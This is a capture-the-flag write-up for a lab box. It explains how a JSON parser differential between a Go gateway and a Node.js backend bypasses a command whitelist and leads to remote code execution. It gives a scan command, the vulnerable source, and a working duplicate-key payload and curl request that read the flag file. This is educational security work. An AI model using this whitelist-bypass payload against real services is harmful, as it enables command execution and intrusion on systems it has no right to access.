Reading time: ~8 minutes | Level: Easy
Target Information
- IP Address: 172.16.3.33
- Difficulty: Easy
- Tags: Web, Code Review, JSON Parsing, Go, Node.js, RCE
Reconnaissance
Port Scanning
Initial scan using nmap:
nmap -sC -sV -p- --min-rate 500 -vvv -oA nmap 172.16.3.33Results:
PORT STATE SERVICE VERSION
80/tcp open http Go net/http server
Web Enumeration
Discovery: Source Code Review (Docker Compose + Application Code)
The challenge provides the complete application source code. The architecture consists of two Docker services:
- Gateway (Go) — port 80 → 8000 — reverse proxy with command validation middleware
- Metrics (Node.js/Express) — port 3000 (internal) — executes system commands via
execSync
The docker-compose.yaml exposes the structure and credentials:
services:
gateway:
build: ./gateway
ports:
- "80:8000"
environment:
- X_API_GATEWAY_KEY=e5f76862-ce9a-47ef-8cc7-b3e52fb7fec5
depends_on:
- metrics
metrics:
build: ./metrics
environment:
- X_API_GATEWAY_KEY=e5f76862-ce9a-47ef-8cc7-b3e52fb7fec5
- PORT=3000Test payload:
POST /api/instance-metrics/ HTTP/1.1
Host: 172.16.3.33
Content-Type: application/json
{"command":"df"}Response:
{
"output": "Filesystem 1K-blocks Used Available Use% Mounted on\noverlay 7034376 4679652 2338340 67% /\n..."
}Endpoint confirmed working! The gateway accepts whitelisted commands and proxies them to the backend.
Source Code Disclosure
The source code was provided with the challenge. Analysis revealed two critical points:
Backend — metrics/app.js (Node.js):
app.post("/", validateApiGatewayKey, (req, res) => {
const { command, timeout } = req.body;
if (!command) {
return res.status(400).json({ error: "Command is required" });
}
try {
const options = timeout ? { timeout: parseInt(timeout, 10) } : {};
const output = execSync(command, options).toString();
res.json({ output });
} catch (error) {
res.status(500).json({ error: error.message });
}
});The backend executes any command received in the command field via execSync, without any sanitization. The only protection is the X-Api-Gateway-Key header validation.
Gateway — gateway/main.go (Go):
type InstanceMetricsRPC struct {
Command string `json:"command"`
Timeout int `json:"timeout"`
}
func sanitizeRpcMiddleware(next http.Handler) http.Handler {
allowedCommands := map[string]bool{"ps": true, "df": true, "whoami": true, "uname": true}
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
originalBody, _ := io.ReadAll(r.Body)
r.Body.Close()
var rpc InstanceMetricsRPC
json.NewDecoder(bytes.NewReader(originalBody)).Decode(&rpc)
if rpc.Command == "" || !allowedCommands[rpc.Command] {
http.Error(w, "Invalid or missing command", 403)
return
}
// Forwards the ORIGINAL body to the backend
r.Body = io.NopCloser(bytes.NewReader(originalBody))
r.ContentLength = int64(len(originalBody))
next.ServeHTTP(w, r)
})
}Code analysis revealed: The gateway validates the command against a whitelist, but forwards the original body to the backend. Validation happens with Go's JSON parser, while the backend uses Node.js's JSON parser — and they behave differently regarding case-sensitivity.
Exploitation: Remote Code Execution
JSON Parser Differential (Go vs Node.js)
A vulnerabilidade central está na diferença de comportamento entre os parsers JSON:
| Behavior | Go (encoding/json) | Node.js (JSON.parse) |
|---|---|---|
| Case sensitivity on field matching | Case-insensitive — "Command" and "command" both map to the struct's Command field | Case-sensitive — "Command" and "command" are completely different keys |
| Duplicate keys | Takes the last matching value | Takes the last value with the exact key |
This means that when sending {"command":"malicious","Command":"df"}:
- Go reads
"command"→ case-insensitive match withCommandfield → value"malicious", then reads"Command"→ also matches → overwrites with"df"→ passes whitelist ✅ - Node.js reads
"command"→"malicious", reads"Command"→ different key, stored separately →req.body.command="malicious"→ executes the payload ✅
Payload:
{
"command": "cat /flag.txt",
"Command": "df"
}Complete request:
curl -X POST http://172.16.3.33/api/instance-metrics/ \
-H "Content-Type: application/json" \
-d '{"command":"cat /flag.txt","Command":"df"}'Response:
{ "output": "hackingclub{p4rs3r_d1ff3r3nt14ls_br34k_tru5t}\n" }RCE achieved and flag captured!
Attack Chain Summary
1. Code Review — Identification of Gateway (Go) + Backend (Node.js) architecture
↓
2. Vulnerability Identification — JSON Parser Differential (case-sensitivity)
↓
3. Exploitation — Payload with duplicate keys {"command":"RCE","Command":"df"}
↓
4. Flag — cat /flag.txt via execSync on the backend
Vulnerabilities Summary
-
JSON Parser Differential
CWE-436Critical- Case-sensitivity difference between Go and Node.js allows complete gateway whitelist bypass, resulting in RCE
-
OS Command Injection (execSync without sanitization)
CWE-78Critical- The backend executes any received string as a system command, without validation or sanitization
-
Hardcoded API Key
CWE-798High- The authentication key is stored in plaintext in docker-compose.yaml, exposed in the repository
-
Information Exposure via Error Messages
CWE-209Medium- The backend returns the full
error.messageto the client, exposing internal paths and stack traces
- The backend returns the full
Technical Analysis
JSON Parser Differential Breakdown
Technology: Go 1.21 (encoding/json) vs Node.js (JSON.parse via Express 5.x)
Gateway (Go) — validates with case-insensitive parser:
type InstanceMetricsRPC struct {
Command string `json:"command"`
}
// "command" and "Command" both map to this fieldBackend (Node.js) — executes with case-sensitive parser:
const { command } = req.body;
// Only "command" (exact lowercase) is readExploitation chain:
- Attacker sends JSON with two keys:
"command"(malicious payload) and"Command"(allowed command) - Go gateway reads both as the same field (case-insensitive), last one wins →
"df"→ passes whitelist - Node.js backend reads only
"command"(case-sensitive) →"cat /flag.txt"→ executes viaexecSync
Tools Used
- curl - HTTP client para envio dos payloads
- Manual Code Review - Static analysis of the provided source code
References
JSON Parser Differentials
Go encoding/json Behavior
CWE References